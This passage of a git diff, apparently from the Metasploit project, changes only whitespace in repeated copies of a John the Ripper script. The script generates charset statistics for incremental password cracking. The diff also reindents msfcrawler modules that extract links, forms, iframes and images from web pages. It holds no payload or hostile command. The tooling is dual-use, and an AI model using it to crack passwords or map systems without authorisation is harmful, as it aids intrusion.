+ alphamaj + num + !@#$+=.*" + puts "\t-c --custom" + puts "\nExample:\n" + puts "#{$0} -f stats -s" + puts "#{$0} -f stats -c \"0123abc+=\"" + exit end ch_alpha = 'abcdefghijklmnopqrstuvwxyz' @@ -24,55 +24,55 @@ ch_num = '0123456789' ch_sp = '!@#$+=.*' opts = GetoptLong.new( - [ '--help', '-h', GetoptLong::NO_ARGUMENT ], - [ '--file', '-f', GetoptLong::OPTIONAL_ARGUMENT], - [ '--all', '-s', GetoptLong::NO_ARGUMENT], - [ '--num', '-n', GetoptLong::NO_ARGUMENT], - [ '--alpha', '-a', GetoptLong::NO_ARGUMENT ], - [ '--alphamaj', '-A', GetoptLong::NO_ARGUMENT ], - [ '--alphanum', '-l', GetoptLong::NO_ARGUMENT ], - [ '--alphanummaj', '-L', GetoptLong::NO_ARGUMENT ], - [ '--custom', '-c', GetoptLong::OPTIONAL_ARGUMENT ] + [ '--help', '-h', GetoptLong::NO_ARGUMENT ], + [ '--file', '-f', GetoptLong::OPTIONAL_ARGUMENT], + [ '--all', '-s', GetoptLong::NO_ARGUMENT], + [ '--num', '-n', GetoptLong::NO_ARGUMENT], + [ '--alpha', '-a', GetoptLong::NO_ARGUMENT ], + [ '--alphamaj', '-A', GetoptLong::NO_ARGUMENT ], + [ '--alphanum', '-l', GetoptLong::NO_ARGUMENT ], + [ '--alphanummaj', '-L', GetoptLong::NO_ARGUMENT ], + [ '--custom', '-c', GetoptLong::OPTIONAL_ARGUMENT ] ) charset = nil filename = "stats_out" opts.each do |opt, arg| - case opt - when '--help' - help - when '--file' - filename = arg - when '--num' - charset = ch_num - when '--alpha' - charset = ch_alpha - when '--alphamaj' - charset = ch_alpha.capitalize - when '--alphanum' - charset = ch_alpha + ch_num - when '--alphanummaj' - charset = ch_alpha.capitalize + ch_num - when '--all' - charset = ch_alpha + ch_alpha.capitalize + ch_num + ch_sp - when '--custom' - charset = arg - end + case opt + when '--help' + help + when '--file' + filename = arg + when '--num' + charset = ch_num + when '--alpha' + charset = ch_alpha + when '--alphamaj' + charset = ch_alpha.capitalize + when '--alphanum' + charset = ch_alpha + ch_num + when '--alphanummaj' + charset = ch_alpha.capitalize + ch_num + when '--all' + charset = ch_alpha + ch_alpha.capitalize + ch_num + ch_sp + when '--custom' + charset = arg + end end if charset == nil - help + help end fstat = File.open(filename, "w") charset.each_byte do |c| - fstat.write("1=proba1[#{c.to_s}]\n") - charset.each_byte do |tmp| - fstat.write("1=proba2[#{c.to_s}*256+#{tmp.to_s}]\n") - end + fstat.write("1=proba1[#{c.to_s}]\n") + charset.each_byte do |tmp| + fstat.write("1=proba2[#{c.to_s}*256+#{tmp.to_s}]\n") + end end fstat.close diff --git a/data/john/run.linux.x86.mmx/genincstats.rb b/data/john/run.linux.x86.mmx/genincstats.rb index 42d9b6ef6d..d415a55f97 100644 --- a/data/john/run.linux.x86.mmx/genincstats.rb +++ b/data/john/run.linux.x86.mmx/genincstats.rb @@ -3,20 +3,20 @@ require 'getoptlong' def help - puts "Usage: #{$0} [options]" - puts "\t-h --help\t\tthis help." - puts "\t-f --file\t\toutput file." - puts "\t-n --num\t\tcharset: 0123456789" - puts "\t-a --alpha\t\tcharset: abcdefghijklmnopqrstuvwxyz" - puts "\t-A --alphamaj\t\tcharset: ABCDEFGHIJKLMNOPQRSTUVWXYZ" - puts "\t-l --alphanum\t\tcharset: alpha + num" - puts "\t-l --alphanummaj\tcharset: alpha + alphamaj + num" - puts "\t-s --all\t\tcharset: alpha + alphamaj + num + !@#$+=.*" - puts "\t-c --custom" - puts "\nExample:\n" - puts "#{$0} -f stats -s" - puts "#{$0} -f stats -c \"0123abc+=\"" - exit + puts "Usage: #{$0} [options]" + puts "\t-h --help\t\tthis help." + puts "\t-f --file\t\toutput file." + puts "\t-n --num\t\tcharset: 0123456789" + puts "\t-a --alpha\t\tcharset: abcdefghijklmnopqrstuvwxyz" + puts "\t-A --alphamaj\t\tcharset: ABCDEFGHIJKLMNOPQRSTUVWXYZ" + puts "\t-l --alphanum\t\tcharset: alpha + num" + puts "\t-l --alphanummaj\tcharset: alpha + alphamaj + num" + puts "\t-s --all\t\tcharset: alpha + alphamaj + num + !@#$+=.*" + puts "\t-c --custom" + puts "\nExample:\n" + puts "#{$0} -f stats -s" + puts "#{$0} -f stats -c \"0123abc+=\"" + exit end ch_alpha = 'abcdefghijklmnopqrstuvwxyz' @@ -24,55 +24,55 @@ ch_num = '0123456789' ch_sp = '!@#$+=.*' opts = GetoptLong.new( - [ '--help', '-h', GetoptLong::NO_ARGUMENT ], - [ '--file', '-f', GetoptLong::OPTIONAL_ARGUMENT], - [ '--all', '-s', GetoptLong::NO_ARGUMENT], - [ '--num', '-n', GetoptLong::NO_ARGUMENT], - [ '--alpha', '-a', GetoptLong::NO_ARGUMENT ], - [ '--alphamaj', '-A', GetoptLong::NO_ARGUMENT ], - [ '--alphanum', '-l', GetoptLong::NO_ARGUMENT ], - [ '--alphanummaj', '-L', GetoptLong::NO_ARGUMENT ], - [ '--custom', '-c', GetoptLong::OPTIONAL_ARGUMENT ] + [ '--help', '-h', GetoptLong::NO_ARGUMENT ], + [ '--file', '-f', GetoptLong::OPTIONAL_ARGUMENT], + [ '--all', '-s', GetoptLong::NO_ARGUMENT], + [ '--num', '-n', GetoptLong::NO_ARGUMENT], + [ '--alpha', '-a', GetoptLong::NO_ARGUMENT ], + [ '--alphamaj', '-A', GetoptLong::NO_ARGUMENT ], + [ '--alphanum', '-l', GetoptLong::NO_ARGUMENT ], + [ '--alphanummaj', '-L', GetoptLong::NO_ARGUMENT ], + [ '--custom', '-c', GetoptLong::OPTIONAL_ARGUMENT ] ) charset = nil filename = "stats_out" opts.each do |opt, arg| - case opt - when '--help' - help - when '--file' - filename = arg - when '--num' - charset = ch_num - when '--alpha' - charset = ch_alpha - when '--alphamaj' - charset = ch_alpha.capitalize - when '--alphanum' - charset = ch_alpha + ch_num - when '--alphanummaj' - charset = ch_alpha.capitalize + ch_num - when '--all' - charset = ch_alpha + ch_alpha.capitalize + ch_num + ch_sp - when '--custom' - charset = arg - end + case opt + when '--help' + help + when '--file' + filename = arg + when '--num' + charset = ch_num + when '--alpha' + charset = ch_alpha + when '--alphamaj' + charset = ch_alpha.capitalize + when '--alphanum' + charset = ch_alpha + ch_num + when '--alphanummaj' + charset = ch_alpha.capitalize + ch_num + when '--all' + charset = ch_alpha + ch_alpha.capitalize + ch_num + ch_sp + when '--custom' + charset = arg + end end if charset == nil - help + help end fstat = File.open(filename, "w") charset.each_byte do |c| - fstat.write("1=proba1[#{c.to_s}]\n") - charset.each_byte do |tmp| - fstat.write("1=proba2[#{c.to_s}*256+#{tmp.to_s}]\n") - end + fstat.write("1=proba1[#{c.to_s}]\n") + charset.each_byte do |tmp| + fstat.write("1=proba2[#{c.to_s}*256+#{tmp.to_s}]\n") + end end fstat.close diff --git a/data/john/run.linux.x86.sse2/genincstats.rb b/data/john/run.linux.x86.sse2/genincstats.rb index 42d9b6ef6d..d415a55f97 100644 --- a/data/john/run.linux.x86.sse2/genincstats.rb +++ b/data/john/run.linux.x86.sse2/genincstats.rb @@ -3,20 +3,20 @@ require 'getoptlong' def help - puts "Usage: #{$0} [options]" - puts "\t-h --help\t\tthis help." - puts "\t-f --file\t\toutput file." - puts "\t-n --num\t\tcharset: 0123456789" - puts "\t-a --alpha\t\tcharset: abcdefghijklmnopqrstuvwxyz" - puts "\t-A --alphamaj\t\tcharset: ABCDEFGHIJKLMNOPQRSTUVWXYZ" - puts "\t-l --alphanum\t\tcharset: alpha + num" - puts "\t-l --alphanummaj\tcharset: alpha + alphamaj + num" - puts "\t-s --all\t\tcharset: alpha + alphamaj + num + !@#$+=.*" - puts "\t-c --custom" - puts "\nExample:\n" - puts "#{$0} -f stats -s" - puts "#{$0} -f stats -c \"0123abc+=\"" - exit + puts "Usage: #{$0} [options]" + puts "\t-h --help\t\tthis help." + puts "\t-f --file\t\toutput file." + puts "\t-n --num\t\tcharset: 0123456789" + puts "\t-a --alpha\t\tcharset: abcdefghijklmnopqrstuvwxyz" + puts "\t-A --alphamaj\t\tcharset: ABCDEFGHIJKLMNOPQRSTUVWXYZ" + puts "\t-l --alphanum\t\tcharset: alpha + num" + puts "\t-l --alphanummaj\tcharset: alpha + alphamaj + num" + puts "\t-s --all\t\tcharset: alpha + alphamaj + num + !@#$+=.*" + puts "\t-c --custom" + puts "\nExample:\n" + puts "#{$0} -f stats -s" + puts "#{$0} -f stats -c \"0123abc+=\"" + exit end ch_alpha = 'abcdefghijklmnopqrstuvwxyz' @@ -24,55 +24,55 @@ ch_num = '0123456789' ch_sp = '!@#$+=.*' opts = GetoptLong.new( - [ '--help', '-h', GetoptLong::NO_ARGUMENT ], - [ '--file', '-f', GetoptLong::OPTIONAL_ARGUMENT], - [ '--all', '-s', GetoptLong::NO_ARGUMENT], - [ '--num', '-n', GetoptLong::NO_ARGUMENT], - [ '--alpha', '-a', GetoptLong::NO_ARGUMENT ], - [ '--alphamaj', '-A', GetoptLong::NO_ARGUMENT ], - [ '--alphanum', '-l', GetoptLong::NO_ARGUMENT ], - [ '--alphanummaj', '-L', GetoptLong::NO_ARGUMENT ], - [ '--custom', '-c', GetoptLong::OPTIONAL_ARGUMENT ] + [ '--help', '-h', GetoptLong::NO_ARGUMENT ], + [ '--file', '-f', GetoptLong::OPTIONAL_ARGUMENT], + [ '--all', '-s', GetoptLong::NO_ARGUMENT], + [ '--num', '-n', GetoptLong::NO_ARGUMENT], + [ '--alpha', '-a', GetoptLong::NO_ARGUMENT ], + [ '--alphamaj', '-A', GetoptLong::NO_ARGUMENT ], + [ '--alphanum', '-l', GetoptLong::NO_ARGUMENT ], + [ '--alphanummaj', '-L', GetoptLong::NO_ARGUMENT ], + [ '--custom', '-c', GetoptLong::OPTIONAL_ARGUMENT ] ) charset = nil filename = "stats_out" opts.each do |opt, arg| - case opt - when '--help' - help - when '--file' - filename = arg - when '--num' - charset = ch_num - when '--alpha' - charset = ch_alpha - when '--alphamaj' - charset = ch_alpha.capitalize - when '--alphanum' - charset = ch_alpha + ch_num - when '--alphanummaj' - charset = ch_alpha.capitalize + ch_num - when '--all' - charset = ch_alpha + ch_alpha.capitalize + ch_num + ch_sp - when '--custom' - charset = arg - end + case opt + when '--help' + help + when '--file' + filename = arg + when '--num' + charset = ch_num + when '--alpha' + charset = ch_alpha + when '--alphamaj' + charset = ch_alpha.capitalize + when '--alphanum' + charset = ch_alpha + ch_num + when '--alphanummaj' + charset = ch_alpha.capitalize + ch_num + when '--all' + charset = ch_alpha + ch_alpha.capitalize + ch_num + ch_sp + when '--custom' + charset = arg + end end if charset == nil - help + help end fstat = File.open(filename, "w") charset.each_byte do |c| - fstat.write("1=proba1[#{c.to_s}]\n") - charset.each_byte do |tmp| - fstat.write("1=proba2[#{c.to_s}*256+#{tmp.to_s}]\n") - end + fstat.write("1=proba1[#{c.to_s}]\n") + charset.each_byte do |tmp| + fstat.write("1=proba2[#{c.to_s}*256+#{tmp.to_s}]\n") + end end fstat.close diff --git a/data/john/run.win32.any/genincstats.rb b/data/john/run.win32.any/genincstats.rb index 42d9b6ef6d..d415a55f97 100755 --- a/data/john/run.win32.any/genincstats.rb +++ b/data/john/run.win32.any/genincstats.rb @@ -3,20 +3,20 @@ require 'getoptlong' def help - puts "Usage: #{$0} [options]" - puts "\t-h --help\t\tthis help." - puts "\t-f --file\t\toutput file." - puts "\t-n --num\t\tcharset: 0123456789" - puts "\t-a --alpha\t\tcharset: abcdefghijklmnopqrstuvwxyz" - puts "\t-A --alphamaj\t\tcharset: ABCDEFGHIJKLMNOPQRSTUVWXYZ" - puts "\t-l --alphanum\t\tcharset: alpha + num" - puts "\t-l --alphanummaj\tcharset: alpha + alphamaj + num" - puts "\t-s --all\t\tcharset: alpha + alphamaj + num + !@#$+=.*" - puts "\t-c --custom" - puts "\nExample:\n" - puts "#{$0} -f stats -s" - puts "#{$0} -f stats -c \"0123abc+=\"" - exit + puts "Usage: #{$0} [options]" + puts "\t-h --help\t\tthis help." + puts "\t-f --file\t\toutput file." + puts "\t-n --num\t\tcharset: 0123456789" + puts "\t-a --alpha\t\tcharset: abcdefghijklmnopqrstuvwxyz" + puts "\t-A --alphamaj\t\tcharset: ABCDEFGHIJKLMNOPQRSTUVWXYZ" + puts "\t-l --alphanum\t\tcharset: alpha + num" + puts "\t-l --alphanummaj\tcharset: alpha + alphamaj + num" + puts "\t-s --all\t\tcharset: alpha + alphamaj + num + !@#$+=.*" + puts "\t-c --custom" + puts "\nExample:\n" + puts "#{$0} -f stats -s" + puts "#{$0} -f stats -c \"0123abc+=\"" + exit end ch_alpha = 'abcdefghijklmnopqrstuvwxyz' @@ -24,55 +24,55 @@ ch_num = '0123456789' ch_sp = '!@#$+=.*' opts = GetoptLong.new( - [ '--help', '-h', GetoptLong::NO_ARGUMENT ], - [ '--file', '-f', GetoptLong::OPTIONAL_ARGUMENT], - [ '--all', '-s', GetoptLong::NO_ARGUMENT], - [ '--num', '-n', GetoptLong::NO_ARGUMENT], - [ '--alpha', '-a', GetoptLong::NO_ARGUMENT ], - [ '--alphamaj', '-A', GetoptLong::NO_ARGUMENT ], - [ '--alphanum', '-l', GetoptLong::NO_ARGUMENT ], - [ '--alphanummaj', '-L', GetoptLong::NO_ARGUMENT ], - [ '--custom', '-c', GetoptLong::OPTIONAL_ARGUMENT ] + [ '--help', '-h', GetoptLong::NO_ARGUMENT ], + [ '--file', '-f', GetoptLong::OPTIONAL_ARGUMENT], + [ '--all', '-s', GetoptLong::NO_ARGUMENT], + [ '--num', '-n', GetoptLong::NO_ARGUMENT], + [ '--alpha', '-a', GetoptLong::NO_ARGUMENT ], + [ '--alphamaj', '-A', GetoptLong::NO_ARGUMENT ], + [ '--alphanum', '-l', GetoptLong::NO_ARGUMENT ], + [ '--alphanummaj', '-L', GetoptLong::NO_ARGUMENT ], + [ '--custom', '-c', GetoptLong::OPTIONAL_ARGUMENT ] ) charset = nil filename = "stats_out" opts.each do |opt, arg| - case opt - when '--help' - help - when '--file' - filename = arg - when '--num' - charset = ch_num - when '--alpha' - charset = ch_alpha - when '--alphamaj' - charset = ch_alpha.capitalize - when '--alphanum' - charset = ch_alpha + ch_num - when '--alphanummaj' - charset = ch_alpha.capitalize + ch_num - when '--all' - charset = ch_alpha + ch_alpha.capitalize + ch_num + ch_sp - when '--custom' - charset = arg - end + case opt + when '--help' + help + when '--file' + filename = arg + when '--num' + charset = ch_num + when '--alpha' + charset = ch_alpha + when '--alphamaj' + charset = ch_alpha.capitalize + when '--alphanum' + charset = ch_alpha + ch_num + when '--alphanummaj' + charset = ch_alpha.capitalize + ch_num + when '--all' + charset = ch_alpha + ch_alpha.capitalize + ch_num + ch_sp + when '--custom' + charset = arg + end end if charset == nil - help + help end fstat = File.open(filename, "w") charset.each_byte do |c| - fstat.write("1=proba1[#{c.to_s}]\n") - charset.each_byte do |tmp| - fstat.write("1=proba2[#{c.to_s}*256+#{tmp.to_s}]\n") - end + fstat.write("1=proba1[#{c.to_s}]\n") + charset.each_byte do |tmp| + fstat.write("1=proba2[#{c.to_s}*256+#{tmp.to_s}]\n") + end end fstat.close diff --git a/data/john/run.win32.mmx/genincstats.rb b/data/john/run.win32.mmx/genincstats.rb index 42d9b6ef6d..d415a55f97 100755 --- a/data/john/run.win32.mmx/genincstats.rb +++ b/data/john/run.win32.mmx/genincstats.rb @@ -3,20 +3,20 @@ require 'getoptlong' def help - puts "Usage: #{$0} [options]" - puts "\t-h --help\t\tthis help." - puts "\t-f --file\t\toutput file." - puts "\t-n --num\t\tcharset: 0123456789" - puts "\t-a --alpha\t\tcharset: abcdefghijklmnopqrstuvwxyz" - puts "\t-A --alphamaj\t\tcharset: ABCDEFGHIJKLMNOPQRSTUVWXYZ" - puts "\t-l --alphanum\t\tcharset: alpha + num" - puts "\t-l --alphanummaj\tcharset: alpha + alphamaj + num" - puts "\t-s --all\t\tcharset: alpha + alphamaj + num + !@#$+=.*" - puts "\t-c --custom" - puts "\nExample:\n" - puts "#{$0} -f stats -s" - puts "#{$0} -f stats -c \"0123abc+=\"" - exit + puts "Usage: #{$0} [options]" + puts "\t-h --help\t\tthis help." + puts "\t-f --file\t\toutput file." + puts "\t-n --num\t\tcharset: 0123456789" + puts "\t-a --alpha\t\tcharset: abcdefghijklmnopqrstuvwxyz" + puts "\t-A --alphamaj\t\tcharset: ABCDEFGHIJKLMNOPQRSTUVWXYZ" + puts "\t-l --alphanum\t\tcharset: alpha + num" + puts "\t-l --alphanummaj\tcharset: alpha + alphamaj + num" + puts "\t-s --all\t\tcharset: alpha + alphamaj + num + !@#$+=.*" + puts "\t-c --custom" + puts "\nExample:\n" + puts "#{$0} -f stats -s" + puts "#{$0} -f stats -c \"0123abc+=\"" + exit end ch_alpha = 'abcdefghijklmnopqrstuvwxyz' @@ -24,55 +24,55 @@ ch_num = '0123456789' ch_sp = '!@#$+=.*' opts = GetoptLong.new( - [ '--help', '-h', GetoptLong::NO_ARGUMENT ], - [ '--file', '-f', GetoptLong::OPTIONAL_ARGUMENT], - [ '--all', '-s', GetoptLong::NO_ARGUMENT], - [ '--num', '-n', GetoptLong::NO_ARGUMENT], - [ '--alpha', '-a', GetoptLong::NO_ARGUMENT ], - [ '--alphamaj', '-A', GetoptLong::NO_ARGUMENT ], - [ '--alphanum', '-l', GetoptLong::NO_ARGUMENT ], - [ '--alphanummaj', '-L', GetoptLong::NO_ARGUMENT ], - [ '--custom', '-c', GetoptLong::OPTIONAL_ARGUMENT ] + [ '--help', '-h', GetoptLong::NO_ARGUMENT ], + [ '--file', '-f', GetoptLong::OPTIONAL_ARGUMENT], + [ '--all', '-s', GetoptLong::NO_ARGUMENT], + [ '--num', '-n', GetoptLong::NO_ARGUMENT], + [ '--alpha', '-a', GetoptLong::NO_ARGUMENT ], + [ '--alphamaj', '-A', GetoptLong::NO_ARGUMENT ], + [ '--alphanum', '-l', GetoptLong::NO_ARGUMENT ], + [ '--alphanummaj', '-L', GetoptLong::NO_ARGUMENT ], + [ '--custom', '-c', GetoptLong::OPTIONAL_ARGUMENT ] ) charset = nil filename = "stats_out" opts.each do |opt, arg| - case opt - when '--help' - help - when '--file' - filename = arg - when '--num' - charset = ch_num - when '--alpha' - charset = ch_alpha - when '--alphamaj' - charset = ch_alpha.capitalize - when '--alphanum' - charset = ch_alpha + ch_num - when '--alphanummaj' - charset = ch_alpha.capitalize + ch_num - when '--all' - charset = ch_alpha + ch_alpha.capitalize + ch_num + ch_sp - when '--custom' - charset = arg - end + case opt + when '--help' + help + when '--file' + filename = arg + when '--num' + charset = ch_num + when '--alpha' + charset = ch_alpha + when '--alphamaj' + charset = ch_alpha.capitalize + when '--alphanum' + charset = ch_alpha + ch_num + when '--alphanummaj' + charset = ch_alpha.capitalize + ch_num + when '--all' + charset = ch_alpha + ch_alpha.capitalize + ch_num + ch_sp + when '--custom' + charset = arg + end end if charset == nil - help + help end fstat = File.open(filename, "w") charset.each_byte do |c| - fstat.write("1=proba1[#{c.to_s}]\n") - charset.each_byte do |tmp| - fstat.write("1=proba2[#{c.to_s}*256+#{tmp.to_s}]\n") - end + fstat.write("1=proba1[#{c.to_s}]\n") + charset.each_byte do |tmp| + fstat.write("1=proba2[#{c.to_s}*256+#{tmp.to_s}]\n") + end end fstat.close diff --git a/data/john/run.win32.sse2/genincstats.rb b/data/john/run.win32.sse2/genincstats.rb index 42d9b6ef6d..d415a55f97 100755 --- a/data/john/run.win32.sse2/genincstats.rb +++ b/data/john/run.win32.sse2/genincstats.rb @@ -3,20 +3,20 @@ require 'getoptlong' def help - puts "Usage: #{$0} [options]" - puts "\t-h --help\t\tthis help." - puts "\t-f --file\t\toutput file." - puts "\t-n --num\t\tcharset: 0123456789" - puts "\t-a --alpha\t\tcharset: abcdefghijklmnopqrstuvwxyz" - puts "\t-A --alphamaj\t\tcharset: ABCDEFGHIJKLMNOPQRSTUVWXYZ" - puts "\t-l --alphanum\t\tcharset: alpha + num" - puts "\t-l --alphanummaj\tcharset: alpha + alphamaj + num" - puts "\t-s --all\t\tcharset: alpha + alphamaj + num + !@#$+=.*" - puts "\t-c --custom" - puts "\nExample:\n" - puts "#{$0} -f stats -s" - puts "#{$0} -f stats -c \"0123abc+=\"" - exit + puts "Usage: #{$0} [options]" + puts "\t-h --help\t\tthis help." + puts "\t-f --file\t\toutput file." + puts "\t-n --num\t\tcharset: 0123456789" + puts "\t-a --alpha\t\tcharset: abcdefghijklmnopqrstuvwxyz" + puts "\t-A --alphamaj\t\tcharset: ABCDEFGHIJKLMNOPQRSTUVWXYZ" + puts "\t-l --alphanum\t\tcharset: alpha + num" + puts "\t-l --alphanummaj\tcharset: alpha + alphamaj + num" + puts "\t-s --all\t\tcharset: alpha + alphamaj + num + !@#$+=.*" + puts "\t-c --custom" + puts "\nExample:\n" + puts "#{$0} -f stats -s" + puts "#{$0} -f stats -c \"0123abc+=\"" + exit end ch_alpha = 'abcdefghijklmnopqrstuvwxyz' @@ -24,55 +24,55 @@ ch_num = '0123456789' ch_sp = '!@#$+=.*' opts = GetoptLong.new( - [ '--help', '-h', GetoptLong::NO_ARGUMENT ], - [ '--file', '-f', GetoptLong::OPTIONAL_ARGUMENT], - [ '--all', '-s', GetoptLong::NO_ARGUMENT], - [ '--num', '-n', GetoptLong::NO_ARGUMENT], - [ '--alpha', '-a', GetoptLong::NO_ARGUMENT ], - [ '--alphamaj', '-A', GetoptLong::NO_ARGUMENT ], - [ '--alphanum', '-l', GetoptLong::NO_ARGUMENT ], - [ '--alphanummaj', '-L', GetoptLong::NO_ARGUMENT ], - [ '--custom', '-c', GetoptLong::OPTIONAL_ARGUMENT ] + [ '--help', '-h', GetoptLong::NO_ARGUMENT ], + [ '--file', '-f', GetoptLong::OPTIONAL_ARGUMENT], + [ '--all', '-s', GetoptLong::NO_ARGUMENT], + [ '--num', '-n', GetoptLong::NO_ARGUMENT], + [ '--alpha', '-a', GetoptLong::NO_ARGUMENT ], + [ '--alphamaj', '-A', GetoptLong::NO_ARGUMENT ], + [ '--alphanum', '-l', GetoptLong::NO_ARGUMENT ], + [ '--alphanummaj', '-L', GetoptLong::NO_ARGUMENT ], + [ '--custom', '-c', GetoptLong::OPTIONAL_ARGUMENT ] ) charset = nil filename = "stats_out" opts.each do |opt, arg| - case opt - when '--help' - help - when '--file' - filename = arg - when '--num' - charset = ch_num - when '--alpha' - charset = ch_alpha - when '--alphamaj' - charset = ch_alpha.capitalize - when '--alphanum' - charset = ch_alpha + ch_num - when '--alphanummaj' - charset = ch_alpha.capitalize + ch_num - when '--all' - charset = ch_alpha + ch_alpha.capitalize + ch_num + ch_sp - when '--custom' - charset = arg - end + case opt + when '--help' + help + when '--file' + filename = arg + when '--num' + charset = ch_num + when '--alpha' + charset = ch_alpha + when '--alphamaj' + charset = ch_alpha.capitalize + when '--alphanum' + charset = ch_alpha + ch_num + when '--alphanummaj' + charset = ch_alpha.capitalize + ch_num + when '--all' + charset = ch_alpha + ch_alpha.capitalize + ch_num + ch_sp + when '--custom' + charset = arg + end end if charset == nil - help + help end fstat = File.open(filename, "w") charset.each_byte do |c| - fstat.write("1=proba1[#{c.to_s}]\n") - charset.each_byte do |tmp| - fstat.write("1=proba2[#{c.to_s}*256+#{tmp.to_s}]\n") - end + fstat.write("1=proba1[#{c.to_s}]\n") + charset.each_byte do |tmp| + fstat.write("1=proba2[#{c.to_s}*256+#{tmp.to_s}]\n") + end end fstat.close diff --git a/data/msfcrawler/basic.rb b/data/msfcrawler/basic.rb index cf32fdf09f..467cf6807b 100755 --- a/data/msfcrawler/basic.rb +++ b/data/msfcrawler/basic.rb @@ -18,29 +18,29 @@ require 'uri' class CrawlerSimple < BaseParser - def parse(request,result) + def parse(request,result) - if !result['Content-Type'].include? "text/html" - return - end + if !result['Content-Type'].include? "text/html" + return + end - doc = Hpricot(result.body.to_s) - doc.search('a').each do |link| + doc = Hpricot(result.body.to_s) + doc.search('a').each do |link| - hr = link.attributes['href'] + hr = link.attributes['href'] - if hr and !hr.match(/^(\#|javascript\:)/) - begin - hreq = urltohash('GET',hr,request['uri'],nil) + if hr and !hr.match(/^(\#|javascript\:)/) + begin + hreq = urltohash('GET',hr,request['uri'],nil) - insertnewpath(hreq) + insertnewpath(hreq) - rescue URI::InvalidURIError - #puts "Parse error" - #puts "Error: #{link[0]}" - end - end - end - end + rescue URI::InvalidURIError + #puts "Parse error" + #puts "Error: #{link[0]}" + end + end + end + end end diff --git a/data/msfcrawler/forms.rb b/data/msfcrawler/forms.rb index 9be3852daf..e5cd23b556 100755 --- a/data/msfcrawler/forms.rb +++ b/data/msfcrawler/forms.rb @@ -18,60 +18,60 @@ require 'uri' class CrawlerForms < BaseParser - def parse(request,result) + def parse(request,result) - if !result['Content-Type'].include? "text/html" - return - end + if !result['Content-Type'].include? "text/html" + return + end - hr = '' - m = '' + hr = '' + m = '' - doc = Hpricot(result.body.to_s) - doc.search('form').each do |f| - hr = f.attributes['action'] + doc = Hpricot(result.body.to_s) + doc.search('form').each do |f| + hr = f.attributes['action'] - fname = f.attributes['name'] - if fname.empty? - fname = "NONE" - end + fname = f.attributes['name'] + if fname.empty? + fname = "NONE" + end - m = "GET" - if !f.attributes['method'].empty? - m = f.attributes['method'].upcase - end + m = "GET" + if !f.attributes['method'].empty? + m = f.attributes['method'].upcase + end - #puts "Parsing form name: #{fname} (#{m})" + #puts "Parsing form name: #{fname} (#{m})" - htmlform = Hpricot(f.inner_html) + htmlform = Hpricot(f.inner_html) - arrdata = [] + arrdata = [] - htmlform.search('input').each do |p| - #puts p.attributes['name'] - #puts p.attributes['type'] - #puts p.attributes['value'] + htmlform.search('input').each do |p| + #puts p.attributes['name'] + #puts p.attributes['type'] + #puts p.attributes['value'] - #raw_request has uri_encoding disabled as it encodes '='. - arrdata << (p.attributes['name'] + "=" + Rex::Text.uri_encode(p.attributes['value'])) - end + #raw_request has uri_encoding disabled as it encodes '='. + arrdata << (p.attributes['name'] + "=" + Rex::Text.uri_encode(p.attributes['value'])) + end - data = arrdata.join("&").to_s + data = arrdata.join("&").to_s - begin - hreq = urltohash(m,hr,request['uri'],data) + begin + hreq = urltohash(m,hr,request['uri'],data) - hreq['ctype'] = 'application/x-www-form-urlencoded' + hreq['ctype'] = 'application/x-www-form-urlencoded' - insertnewpath(hreq) + insertnewpath(hreq) - rescue URI::InvalidURIError - #puts "Parse error" - #puts "Error: #{link[0]}" - end - end - end + rescue URI::InvalidURIError + #puts "Parse error" + #puts "Error: #{link[0]}" + end + end + end end diff --git a/data/msfcrawler/frames.rb b/data/msfcrawler/frames.rb index 3284c9b9c2..c6d2cbe03a 100755 --- a/data/msfcrawler/frames.rb +++ b/data/msfcrawler/frames.rb @@ -14,28 +14,28 @@ require 'uri' class CrawlerFrames < BaseParser - def parse(request,result) + def parse(request,result) - if !result['Content-Type'].include? "text/html" - return - end + if !result['Content-Type'].include? "text/html" + return + end - doc = Hpricot(result.body.to_s) - doc.search('iframe').each do |ifra| + doc = Hpricot(result.body.to_s) + doc.search('iframe').each do |ifra| - ir = ifra.attributes['src'] + ir = ifra.attributes['src'] - if ir and !ir.match(/^(\#|javascript\:)/) - begin - hreq = urltohash('GET',ir,request['uri'],nil) + if ir and !ir.match(/^(\#|javascript\:)/) + begin + hreq = urltohash('GET',ir,request['uri'],nil) - insertnewpath(hreq) + insertnewpath(hreq) - rescue URI::InvalidURIError - #puts "Error" - end - end - end - end + rescue URI::InvalidURIError + #puts "Error" + end + end + end + end end diff --git a/data/msfcrawler/image.rb b/data/msfcrawler/image.rb index a02b7593be..0cc2aefb39 100755 --- a/data/msfcrawler/image.rb +++ b/data/msfcrawler/image.rb @@ -15,29 +15,29 @@ require 'uri' class CrawlerImage < BaseParser - def parse(request,result) + def parse(request,result) - if !result['Content-Type'].include? "text/html" - return - end + if !result['Content-Type'].include? "text/html" + return + end - doc = Hpricot(result.body.to_s) - doc.search('img').each do |i| + doc = Hpricot(result.body.to_s) + doc.search('img').each do |i| - im = i.attributes['src'] + im = i.attributes['src'] - if im and !im.match(/^(\#|javascript\:)/) - begin - hreq = urltohash('GET',im,request['uri'],nil) + if im and !im.match(/^(\#|javascript\:)/) + begin + hreq = urltohash('GET',im,request['uri'],nil) - insertnewpath(hreq) + insertnewpath(hreq) - rescue URI::InvalidURIError - #puts "Parse error" - #puts "Error: #{i[0]}" - end - end - end - end + rescue URI::InvalidURIError + #puts "Parse error" + #puts "Error: #{i[0]}" + end + end + end + end end diff --git a/data/msfcrawler/link.rb b/data/msfcrawler/link.rb index e99fcfba8d..543fdad2c3 100755 --- a/data/msfcrawler/link.rb +++ b/data/msfcrawler/link.rb @@ -15,29 +15,29 @@ require 'uri' class CrawlerLink < BaseParser - def parse(request,result) + def parse(request,result) - if !result['Content-Type'].include? "text/html" - return - end + if !result['Content-Type'].include? "text/html" + return + end - doc = Hpricot(result.body.to_s) - doc.search('link').each do |link| + doc = Hpricot(result.body.to_s) + doc.search('link').each do |link| - hr = link.attributes['href'] + hr = link.attributes['href'] - if hr and !hr.match(/^(\#|javascript\:)/) - begin - hreq = urltohash('GET',hr,request['uri'],nil) + if hr and !hr.match(/^(\#|javascript\:)/) + begin + hreq = urltohash('GET',hr,request['uri'],nil) - insertnewpath(hreq) + insertnewpath(hreq) - rescue URI::InvalidURIError - #puts "Parse error" - #puts "Error: #{link[0]}" - end - end - end - end + rescue URI::InvalidURIError + #puts "Parse error" + #puts "Error: #{link[0]}" + end + end + end + end end diff --git a/data/msfcrawler/objects.rb b/data/msfcrawler/objects.rb index 86b66d05be..68a53e2382 100755 --- a/data/msfcrawler/objects.rb +++ b/data/msfcrawler/objects.rb @@ -18,31 